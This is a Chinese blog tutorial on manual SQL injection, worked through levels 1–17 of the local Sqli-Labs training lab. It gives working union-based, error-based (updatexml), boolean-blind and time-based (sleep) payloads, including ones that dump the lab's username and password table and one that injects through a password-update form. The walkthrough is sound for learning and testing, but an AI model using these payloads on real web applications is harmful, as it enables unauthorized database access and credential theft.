SQL注入攻击-手工注入攻击

sql注入攻击

sql注入的概述

sql注入是指web程序对用户所输入的数据合法性没有进行判断或过滤不严,攻击者能够通过在web应用程序中事先定义好查询语句中添加额外的sql语句,在管理员不知道的情况下实现非法操作,从而获取数据库的信息以及提权,发送sql注入攻击。

sql注入类别

  • 报错注入
  • 布尔盲注
  • 联合注入
  • 宽字节注入
  • 堆叠注入

识别数据库的类型

要想成功的发起SQL注入攻击,最重要的是应该知道应用正在使用的数据库服务类型,只有确认了数据库的类型,才能合理的修改查询以注入信息并提取自己所感兴趣的数据。

根据返回的错误类型,判断数据库

  • Oracle:
    ORA-01756:quoted string not properly terminated
    ORA-00933:SQLcommand not properly ended
  • MySQL
    you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x
  • SQL server
    在报错语句中可以查看到对应的Microsoft SQL Server的字样

根据字符串处理方式,判断数据库

  • Oracle:
    id = 1 and ‘ab’ = ‘a’ || ‘b’ and ‘ab’ = concat(‘a’,‘b’)
  • MySQL:
    id = 1 and ‘a’+‘b’ = ‘ab’ and ‘ab’ = concat(‘a’,‘b’)
  • SQL server:
    id = 1 and ‘a’ + ‘b’ = ‘ab’

区分数字和字符串

在执行sql语句查询时,查询参数类型大概可分为两类

  1. 数字:不需要使用单引号来表示
  2. 其他类型:需要使用单引号来表示
    数字值利用引号引起来,大多数的数据库可以将之转换成为它所代表的数值。但其中Microsoft SQL server 是例外的,在SQL server中 ‘2’ + '2’表示的结果是’22‘ 而非是’4‘
# 查询参数为数值类型 
select * from user where id = 3
# 查询参数为其他类型
select * from user where name = 'admin'

GET类型的sql注入

以Sqli-Labs为例,进行SQL注入讲解,其中靶场使用的数据库是MySQL。

页面存在回显数据:1-4关

对于页面存在回显数据时,可以利用这个数据展示的位置显示后续爆破出来的相关信息。
注入点以及参数类型识别

步骤1:输入?id=1
步骤2:输入?id=1 and 1=2
其中id=1 and 1=2这两个条件加起来已为假。
根据参数可能为数字或者字符串类型,则查询语句可能为:
1select * from users where id = 1 and 1=2
2select * from users where id = '1 and 1=2'
之后可以根据页面的反馈结果,判断出提交的参数类型:

(1)若执行步骤2页面没有结果响应,则判断出提交的参数类型为数字型,则执行的sql语句应该是语句1。
(2)若执行步骤2页面存在结果响应,则判断出提交的参数为字符型,则执行的sql语句应该为语句2。

若提交的参数为字符型时,则可能的查询语句存在如下几种:
1.select * from users where id = '1';
2.select * from users where id = "1";
3.select * from users where id = ('1');
4.select * from users where id = (('1'))
5.select * from users where id = ("1");
将上述可能的符号','),",")逐一进行请求,并根据页面的响应结果去判断,查询语句到底使用的是什么字符。

数据库信息的爆破

  • 在发现注入点之后,通过在参数中注入sql语句,获取数据库中的其他信息。
1.提交参数时注释掉提交参数后面的sql语句。以保证自己写的sql语句能正常的执行。
其中MySQL语句的注释语句为'-- ',需要注意的是后面是存在一个空格的,在写入url中时需要在空格后面再加上一个'-'或者'+'以保证空格不会被浏览器忽略掉。如下示语句:
http://127.0.0.1:9090/Less-1/?id=1' and 1=1 -- -
或者
http://127.0.0.1:9090/Less-1/?id=1' and 1=1 -- +

2.猜测查询数据的列数
使用group by num,判断查询语句查询的列数,或者说查询的参数个数
判断思路,可以从1开始采用二分法去尝试,若猜测的数值过大,则会产生报错信息,且页面没有信息展示。
例如:
http://127.0.0.1:9090/Less-1/?id=1' group by 3 -- -
有数据返回
http://127.0.0.1:9090/Less-1/?id=1' group by 4 -- -
无数据返回

因此请求查询的列数为3个,之后使用关联查询 union,将两个查询语句进行关联,查看存在哪些注入点信息的展示
这里需要注意的是,关联查询到前一句sql不能有数据查询出来,也就是id数为负数或者填入一个数据库中不存在的一个id数值,以保证插入的sql语句执行的结果能够反馈回来。
例如:
http://127.0.0.1:9090/Less-1/?id=-1' union select 1,2,3 -- -
实际语句中展示的内容为
select * from users where id='-1' union select 1,2,3 -- -
最终页面中回显的参数出现了23没有回显出原来的内容。

3.获取查询的数据库名称、表名以及表里的数据
根据2步骤中的23的参数位,填充进其他的SQL语句获取数据库信息、数据表信息、查询列表信息等其他数据库信息
首先查询服务所连接的数据库信息,mysql自带的数据库information_schema中存储了其他数据库的数据库、表、字段等信息,通过查询information_shcema数据库中的信息,我们可以精准的获取到其他数据库的信息

获取数数据库版本信息以及目前所平台查询的数据库名称
http://127.0.0.1:9090/Less-1/?id=-1' union select 1,version(),database() -- -
如若要获取所有数据库名称,需要借助mysql中字符拼接函数group_concat()展示出所查询出来的所有不同行的数据。
http://127.0.0.1:9090/Less-1/?id=-1' union select 1,version(),group_concat(schema_name) from information_schema.schemata -- -
其中包含靶场平台所使用名为security的数据库名称

获取对应数据库中所有表名
http://127.0.0.1:9090/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
所得到的security数据库中表名称为:emails,referers,uagents,users

获取对应表中的所有字段
http://127.0.0.1:9090/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
所得到users表中的所有字段为:id,username,password

最后获取users表中所有的数据,其中语句中的0x7e~符号的十六进制代表值。
http://127.0.0.1:9090/Less-1/?id=-1' union select 1,version(),group_concat(username,0x7e,password) from security.users -- -
所破解出来的值为:
Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4

上述对于数据库信息的破解均适用于1-4关

页面中不存在回显数据:5-10关

对于页面中不存在查询数据的回显或者只有成功或者失败状态反馈时,需要借助数据库中一些函数的报错对破解的数据进行数据回显

第一步和上面的1-4关的操作是一样的,都是对注入点的识别并判断,在判断出注入点及其类型之后,就是利用MySQL中是报错函数,对爆破的数据信息进行回显。

5-6关
数据库信息的破解

http://127.0.0.1:9090/Less-5/?id=1 -- -这里页面提示内容为“you are in ……”
http://127.0.0.1:9090/Less-5/?id=1' -- -这里页面出现了MySQL的报错语句提示
因此这里需要使用布尔盲注或者报错注入
1.借助MySQL中的updatexml()函数报错,对数据进行回显
updatexml(XML_document,XPath_string, new_value)原本的作用,是用来更新xml_document文件中符合XPath_string中的值。
插入的语句是:
http://127.0.0.1:9090/Less-5/?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
其中concat()是字符串拼接函数,因此concat(0x7e,(select database()),0x7e)是不符合xpth_string格式,从而引起updatexml格式错误。
2.之后获数据库中的其他信息,只需要替换其中的(select database())sql查询语句即可。
例如:
获取数据库的所有数据库名称
http://127.0.0.1:9090/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) -- -

这里需要注意的时,函数报错存在字符长度限制,所以只能看32个字符,因此还需要借right(string,num)函数,这个函数是从字符串右边开始截取指定num数量的字符,而函数的报错是从左边截取32个字符进行显示,所以借助right函数可以完整的递增显示数据。
http://127.0.0.1:9090/Less-5/?id=1' or updatexml(1,concat(0x7e,(select right(group_concat(schema_name),30) from information_schema.schemata),0x7e),1) -- -
逐步的改变right函数的num值即可。

第7关
第七关比较特殊需要上传文件,并且需要知道服务的绝对路径。

1.判断注入点
http://127.0.0.1:9090/Less-7/?id=1')) -- -
2.这里需要数据库的准确位置,而第七关因为没有数据回显以及报错回显,所以只能从第一关中获取一些数据库的路径(@@datadir)以及mysql安装路径(@@basedir)
http://127.0.0.1:9090/Less-1/?id=1 union select 1,@@datadir,@@basedir -- - 

第8关
当页面只针对正确的内容进行响应时,则采用布尔盲注。若需要获取到数据库信息,一个方法根据响应的规则,对信息逐个尝试并拼接成最总的信息,另一个方法是编写脚本和借助工具。这里先讲解手工注入的方法,了解一下原理。

这里以数据库名称的破解为例
1.确定所获取字段的长度,使用借助length()函数进行判断。
http://127.0.0.1:9090/Less-8/?id=1' and length(database())=8 -- - 

2.根据长度以及数据库命名规范,去遍历尝试,得出正确的数据库名称,这里需要借助的函数是left()函数
http://127.0.0.1:9090/Less-8/?id=1' and left(database(),1)='s' -- - 
之后逐个去尝试,最终得出数据库的名称

第9-10关
当页面对于正确以及错误的反馈都是一样时,无法进行布尔盲注,转而使用时间盲注,并借助sleep()函数。

时间盲注的原理是使用sql语句的闭合判断,当前面语句执行失败之后,并不会执行sleep()函数,以时间间隔来判断是否信息是否猜测正确。
例如:
1.http://127.0.0.1:9090/Less-9/?id=1' and sleep(5) -- -
2.http://127.0.0.1:9090/Less-9/?id=1 and sleep(5) -- -
其中1执行的时间明显慢于2执行的时间。因此可以判断出此处存在注入点,且为字符型。之后的数据信息的获取和第8关的操作一致。
例如:
http://127.0.0.1:9090/Less-9/?id=1' and length(database())=8 and sleep(5) -- -10关只是单引号改成了双引号,其他都是类似的操作。

POST类型SQL注入

页面存在回显数据(11-12关)
这两关与1-4关很类似,只是将参数的提交方式改成了post方式。
1.确定是否存在注入点
页面上是一个登录界面,在用户以及密码上输入admin、admin即可登录成功,其中在username的提交参数中,确定是否存在注入点
填入参数:
Username:admin'
Password:admin
页面提示sql语法错误,则可判定,这里存在注入点。

2.爆破数据库信息
这里与第一关类似,在Username的提交参数上插入其他的sql语句

先确定回显数据在查询语句的位置
Username: 123' union select 1,2 -- -
Password: 123

获取数据库中数据
Username: 123' union select version(),group_concat(username,0x7e,password) from security.users -- -
Password: 123

12关与11关的区别就是,闭合符号是"),且没有错误提示回显
页面不存在回显数据(13-17关)

这里也是采用布尔盲注、时间盲注、报错注入

13关,输入以下内容,页面提示登录成功
Username:admin 
Password:admin
而后确定参数封闭符合
Username:admin') -- -
Password:123
成功登录,则可以确定封闭符号,由于页面对错误信息存在提示内容,则可以利用updatexml函数报错信息对数据库信息进行破解,例如:
Username:amdin') or updatexml(1,concat(0x7e,(select right(group_concat(schema_name),30) from information_schema.schemata),0x7e),1) -- -
Password:12314关与13类似,只是参数封闭符合不一致,封闭符号为"

第15关无数据回显无报错信息显示,只显示对错,采用布尔盲注
确认参数封闭符号
Username:admin' -- -
Password: 123
确认猜测字符长度
Username: admin' and length(database())=8 -- -
Password: 123
进行数据库命名猜测遍历得出信息,例如
Username:admin' and left(database(),1)='s' -- -
Password:123

Username:admin' and left(database(),2)='se' -- -
Password:123
.
.
.
Username:admin' and left(database(),8)='security' -- -
Password:12316关与15类似,只是参数封闭符号不一致,16的是")

更新注入
第17关,对于数据更新的操作,需要的在更新参数中确认是否存在注入。

mysql中数据更新语句如下:
update users set password = '123' where username='admin';
1.确认注入点
例如:
UserName:admin
NewPassword:123'
页面显示sql执行错误,说明存在注入点
2.采用报错注入,获取数据库信息,注意一点,userName必须保证是数据库中存在的数据
UserName:admin
NewPassword:123' and updatexml(1,concat(0x7e,(select right(group_concat(schema_name),30) from information_schema.schemata),0x7e),1)-- -
则可以获取到数据库中的信息,注意updatexml报错内容只展示32字符。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值